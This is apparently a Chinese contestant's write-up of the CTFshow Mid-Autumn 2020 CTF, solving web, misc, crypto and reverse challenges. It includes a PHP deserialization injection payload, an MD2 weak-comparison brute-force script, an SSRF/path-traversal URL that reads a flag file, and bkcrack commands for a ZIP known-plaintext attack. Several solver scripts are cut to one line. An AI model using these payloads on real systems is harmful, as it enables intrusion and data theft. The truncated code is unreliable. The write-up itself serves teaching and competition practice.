比赛:CTFshow 月饼杯 平台:https://ctf.show
开始:2020/9/25 18:00
结束:2020/9/27 18:00
题目: web 杂项 密码 逆向 pwn 若干道
规则:
1 比赛期间可以随意讨论,wp须在比赛结束后发布,wp统一发布地址:https://wp.ctf.show
2 公平竞技,独立比赛
3 服务器不要爆破,不要攻击服务器,不要扫描!!!
4 奖品:rank最高的师傅发月饼!rank最高的师傅发月饼!rank最高的师傅发月饼!
出题:crypto1+crypto2+crypto3+misc1
WEB
web1_此夜圆
一江春水何年尽,万古清光此夜圆
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
正常序列化:
1 | $uname='FirebaskyFirebasky'; |
得到
O:1:"a":2:{s:5:"uname";s:18:"FirebaskyFirebasky";s:8:"password";s:1:"1";}
filter()
函数会把其中的Firebasky
替换为Firebaskyup
,而字符串对应的长度值不变,即
O:1:"a":2:{s:5:"uname";s:18:"FirebaskyupFirebaskyup";s:8:"password";s:1:"1";}
在unserialize()
反序列化时,字符长度与原始值不一致会反序列化失败,尝试把多出来的部分构造为需要的password值,既保证反序列化正常执行,又能将原始无用的后半部分“挤出去”。
构造";s:8:"password";s:5:"yu22x";}
(长度:30)
即
1 | $uname='FirebaskyFirebasky";s:8:"password";s:5:"yu22x";}'; |
filter()
函数替换后得到
O:1:"a":2:{s:5:"uname";s:48:"FirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";s:1:"1";}
由于FirebaskyupFirebaskyup
不足48
长度,反序列化失败,可以增加构造的Firebasky
,假设要构造 $x$ 个Firebasky
,则有 $9x+30=(9+2)x$,解得 $x=15$。
PAYLOAD:
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心
三五夜中新月色,二千里外故人心
Hint: 存在一个robots.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
三层绕过。
第一层
is_numeric()
函数限定a
必须为数字,可用字符:0123456789e.+-
,strlen()
函数限定a
在7个字符内,同时又要满足a!=0
和a*a=0
,考虑到PHP浮点数精度溢出,构造
a
接近于0,且足够小的数,如xe-xxx
的形式,开始尝试构造
a=9e-999
失败,因过小导致a=0
,缩小小数位使a
不溢出且a*a
溢出,a=9e-199
成功。第二层
纯爆破头爆炸都无果,谁能想到代码类web题会有robots.txt?Is it particularly difficult to break MD2?!
I’ll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452hash("md2",$b)
xxxxxx48399hash("md2",hash("md2",$b))
有了hint好办许多,考虑PHP中的弱类型比较,对于
0e
开头且后部分纯数字的字符串作0
看,爆:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22from Crypto.Hash import MD2
for i in range(1000):
h = MD2.new()
h.update(b'0e'+str(i).zfill(3).encode()+b'024452')
x=h.hexdigest()
if x.startswith('0e') and x[2:].isdigit():
print(i)
print()
for i in range(10000):
h = MD2.new()
h.update(b'0e'+str(i).zfill(4).encode()+b'48399')
x=h.hexdigest()
k = MD2.new()
k.update(x.encode())
xx=k.hexdigest()
if xx.startswith('0e') and xx[2:].isdigit():
print(i)
#652
#6034得到
b=0e652024452&c=0e603448399
第三层
过两层得到hint:
$flag="flag in /fl0g.txt";
ssrf绕过。
filter_var
函数可以解析多种协议,试试不是http
的协议:url=0://ctfshow.com
可以成功得到
host
值绕过filter_var
和preg_match
函数。parse_url
函数用来解析URL,并把URL分割成特定的部分,在payload后构造路径可以成功将路径写入path
值:url=0://ctfshow.com/../../../../../fl0g.txt
web3_莫负婵娟
皎洁一年惟此夜,莫教容易负婵娟
Hint: 环境变量 +linux字符串截取 + 通配符
Hint放出前,利用通配符_
爆出了密码,登录后不知下步。
过滤了'
和(
,没想到绕过binary
的方法。
纯粹不会,仅是留坑。
补充:全程在想怎么绕过binary
,没注意密码位数….
解法参考月饼王师傅wp。
MISC
misc1_共婵娟
但愿人长久,千里共婵娟
MISC之王争夺战!
两密一一对应,填入神秘代码
Hint1: 神秘代码中有东西缺失,填补后开阔思维, / 仅是分隔线
Hint2: https://pan.baidu.com/
Hint3: 最后一步:y=ax+b
【预留待写】
misc2_洗寰瀛
天将今夜月,一遍洗寰瀛
来自神秘力量的入侵,掌握核心秘密
https://ctfshow.lanzous.com/iDybQgvymsb
Hint1: 步骤1预计时间为50分钟
Hint2: zip明文攻击
Hint3: https://github.com/kimci86/bkcrack/blob/master/example/tutorial.md
Hint4: flag[0:9]==’flag{TriG’,可能字体文件有问题
原理:
明文攻击顾名思义我们需要知道解密后的内容来反推密钥。所以不是什么Zip压缩包拿来都可以完全只通过处理密文破解,需要做一些分析。
Biham和Kocher在1994年提出了一种针对ZipCrypto的明文攻击 ,仅需12字节的明文信息就可以运行该算法。该算法得到的是ZipCrypto内部的密钥,所以和密码复杂度无关。只有12字节时,复杂度是 $2^{40}$,多提供一字节就去掉不少可能性。
Stay提出了新的一种明文攻击方法,只需要4个明文字节,复杂度为 $2^{63}$,但是可以使用多个文件大幅降低复杂度。Jeong有一些对BK94的改进,他们也使用了同一压缩包内的更多的文件。因为明文的推断常常是看文件头的,所以使用更多文件有一定的合理性。Stay还发现了Winzip的随机数生成漏洞,可以在没有任何明文的情况下使用5个同一压缩包的密文文件,以 $2^{39}$ 复杂度破解(2002年的文章,Winzip我猜肯定已经修复了)。
但是不管怎么样,明文总是需要的,有了十几字节的明文(不一定要在文件头,但是需要知道偏移地址)用BK94破解就非常可行了。事实上我感觉获取十几字节明文的难度和4字节差别不大,所以最主要的还是考虑BK94方法。最大的问题在于怎么获得明文。文件头很好猜,大多数文件十几个字节的文件头还是比较固定的。麻烦的是Zip先压缩后加密,明文是经过压缩处理的。很久以前,Zip是用Implode压缩,压缩后的内容是比较容易确定的,这大概也就是Biham在文章里说有200字节未压缩的明文就够了的原因。现在Zip都是用Deflate压缩,Deflate是已经标准化的压缩格式,先运行LZ77,再运行哈夫曼编码器 。Deflate采用动态哈夫曼编码的时候,将文件分为不同的块,每块最长为64KB。哈夫曼树在每一个块的前部,所以如果有文件头部的64KB,那大概可以算出压缩后的明文(还得考虑压缩参数)。Deflate压出来的文件熵是很高的,需要整个块的信息才有可能推出哈夫曼树,这使得明文攻击的难度大大提升。
虽然猜测明文难度因Deflate的使用大大提高,但是也不是不可能的,关键在于一些格式本来就已经压缩过了,Deflate压不动了,放弃了治疗,基本保留了原文。
BK94的方法实现网上有现成的,有见到比较多的PKCrack。这个软件2003年的,有点老了,还必须提供整个明文文件(这种是用于一个大的压缩包里有小的文件互联网上找得到的)。所以这里我推荐另外一个github上叫kimci86老哥写的版本,这位老哥写的性能好,C++代码漂亮,重要的是提供了偏移选项,用起来更灵活。具体使用方法参见他仓库里的example/tutorial.md。
结合Hint2和Hint3,使用bkcrack工具照步骤复现即可。
查看压缩文件信息:unzip -Z Triglavian.zip
获取CRC值:unzip -Z -v Triglavian.zip Triglavian.png | grep CRC
(2c810480)
生成明文部分文件:echo -n -e '\x2c\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52' > header.txt
明文攻击:./bkcrack -C Triglavian.zip -c Triglavian.png -p header.txt -o -1
约20+min得到密钥:be056038 a143c0c 1ea08ca5
还原出原文件:./bkcrack -C Triglavian.zip -c Triglavian.png -k be056038 a143c0c 1ea08ca5 -d Triglavian.png
奇怪的编码肯定是flag,用关键字“Triglavian 密码”知为深渊三神裔字体(Triglavian fonts),也叫特格拉文,对照密码表解码(修改其中的g为G)。
参考:
http://eve.netease.com/forum.php?mod=viewthread&tid=6742
https://www.ackurdeeve.com/201902/triglavianfonts/
附加misc_问青天
明月几时有,拿饼问青天
密码为你听到的一句话
稍微有点难度 根据现实改编
东施效颦而已附件:welcome.zip
Hint1: gif图片中两个字母o代表氢原子的能级,当氢原子的电子发生能级跃迁时,间隔为10亿分之7秒
Hint2: 小姐姐声音是aiff格式
分离gif图片,得到两帧对应的bmp图片,
16进制查看gif文件,结合Hint2,可以分离出1个jpg图片文件+1个aiff音频文件+1个加密zip文件。
bmp图片和jpg图片均有特殊符号,暂不知用处。
播放aiff音频,将速度调慢,得到内容“欢迎ctfshow的小哥哥来玩”,可解密zip文件,得到1个png图片文件。、
尝试长换1短换0,二进制转换字符,发现就是flag。
原来Hint1和bmp+jpg图片都是虚晃一枪,辛苦群主PS了啊…
CRYPTO
crypto1_中秋月
此夜中秋月,清光十万家
自动钥匙⊕
明文全大写,得到后转小写,并以_连接单词。
格式:flag{xxx}。
Hint1: 某古典密码
Hint2: 经此古典密码加密后,密文还是大写
Hint3: 该古典密码的密钥形式:keyword+plaintext (+plaintext…+plaintext)
(内容部分引用月饼王师傅wp 懒…)
Autokey密码+异或操作。
先爆破得到异或结果:
1 | s='fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu' |
结合Hint2,发现全大写字符串:YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ
。
再上Autokey爆破脚本,得key:KEYFORFLAG
,明文:OHNOYOUFINDTHEFLAGTHEFLAGFORYOUISDOYOULIKECLASSICALCIPHER
crypto2_月自圆
世远人何在?天空月自圆。
Baby (Don’t) Cry
(内容部分引用月饼王师傅wp 懒…)
明文长度为71位,加密后为142位。
这里由于a
不大,salt长度也不长,且明文m中存在flag
,正好可以用这几位去爆破出a
和salt
。flag
在明文m中的位置是53
,对应密文c中的位置是105
。flag出现的位置正好对应salt的位置。
写脚本爆出a
和salt
:
1 | import string |
得到后,解密:
1 | a = 67 |
crypto3_多少离怀
多少离怀起清夜,人间重望一回圆。
Weird Γ(x)?
Hint1: 注意伽马函数Γ(x)和阶乘x!的关系式
Hint2: 威尔逊定理
(内容部分引用月饼王师傅wp 懒…)
我们需要求gamma(B+2)%A
,根据伽马函数Γ(x)和阶乘x!的关系式可知(B+1)! % A
。
而根据威尔逊定理可知(A-2)! % A = 1
。
令x = (A-2)!/(B+1)!
,y = (B+1)!
,所以x * y ≡ 1 (mod A)
。
而我们需要求的是y % A
,y是x关于A的逆元。所以求x % A
的逆元即可。
这里由于A、B相差还不到10万,所以很容易求解出x % A
。
1 | from Crypto.Util.number import getPrime,isPrime |
REVERSE
re1_西北望乡
西北望乡何处是,东南见月几回圆。
附件:re
IDA反编译,main
函数中关键代码:
代码逻辑:
flag长度45,取flag的第3、6、13、36个字符值及13共五个数作为key,假设为 $k_0,k_1,k_2,k_3,k_4$;
第一个for
循环分别计算 $k_4^5,k_3^4,k_2^3,k_1^2,k_0^1$,存入b
数组:$b_0,b_1,b_2,b_3,b_4=k_4^5,k_3^4,k_2^3,k_1^2,k_0^1$;
第二个for
循环将flag分为9组,每组5个字符,对每组字符,假设该组字符为 $c_0,c_1,c_2,c_3,c_4$,计算
$\sum=c_0b_0+c_1b_1+c_2b_2+c_3b_3+c_4b_4=c_0k_4^5+c_1k_3^4+c_2k_2^3+c_3k_1^2+c_4k_0$
最后判断9个求和得到的值是否与arr
数组相等。
由于flag前五字符为flag{
,即为第1组, 有k0=ord('g')
,又k4
已知,可以爆破key中的 k1
、k2
和k3
值:
1 | import string |
故 key=[103,107,101,101,13]
照葫芦画瓢,对剩下8组每组分别爆破即可:
(纯小写字母+_情况下最后一组无结果,增加数字)
1 | import string |
re2_归心
满月飞明镜,归心折大刀
你应该见过python代码打包成的exe,猜猜这是什么语言
附件:readme.zip
拖入IDA查看字符串,发现java.exe/openjdk/jre字样,猜测为java打包成的jar转的exe文件。
jar转exe大多使用exe4j工具,exe4j只是将java程序,使用自己的方式打包了一下而已,所以运行的时候还是会转成jar来运行,而jar文件必定存储在本地的固定位置。所以反编译的步骤如下:
- 运行exe程序;
- 到C盘搜索readme.jar,找到它及其依赖jar包(用Everything可快速搜索);
- 使用jd-gui反编译readme.jar,查看源码找到flag。
re3_若无月
此夜若无月,一年虚过秋
misc2后续故事
你所看到的,是一个被神秘力量入侵的屏幕
flag格式为flag/your_flag/Hint1: base64 is trap
Hint2: 预期解法hint:魔改RC4
认可的非预期解法hint:1/192几率直接显示flag
赛后对照着RC4算法啃做出。
IDA-F5找到关键字“Triglavian”+一串类似base64密文+一串类似base64码表,跟进关键字进入sub_401360
函数,在case 1u
内找到关键代码:
对照标准RC4算法:
RC4算法包括初始化算法(KSA)和伪随机子密码生成算法(PRGA)两大部分。
(RC4 algorithm including initialization algorithm (KSA) and pseudo-random sub-password generation algorithm (PRGA) two parts.)
1 | def KSA(key): |
sub_401360
函数中实现了KSA部分,可以发现改动了初始key数组(使用的newkey数组为aTriglavian
变量中各字母对应码表的下标值,而非简单的字母对应ASCII值)和数组大小(使用64,非256)。
再往下看未发现PRGA部分,回到汇编代码文本视图,全局搜索S[
,发现另一个函数sub_401160
也存在:
跟进sub_501160
函数,发现RC4算法的PRGA部分:
可以发现最后的异或部分,选取密文中每个字母,得到对应码表的下标值k
,与标准生成的密钥流S[(S[i] + S[j]) % 64]
异或后得到新下标值,替换成码表中对应的字母。由于RC4的对称性,结果即为明文。
魔改RC4解密脚本:
1 | key = 'Triglavian' |
PWN
pwn_天涯共此时
海上生明月,天涯共此时
附件:pwn.zip
纯粹不会,仅是留坑。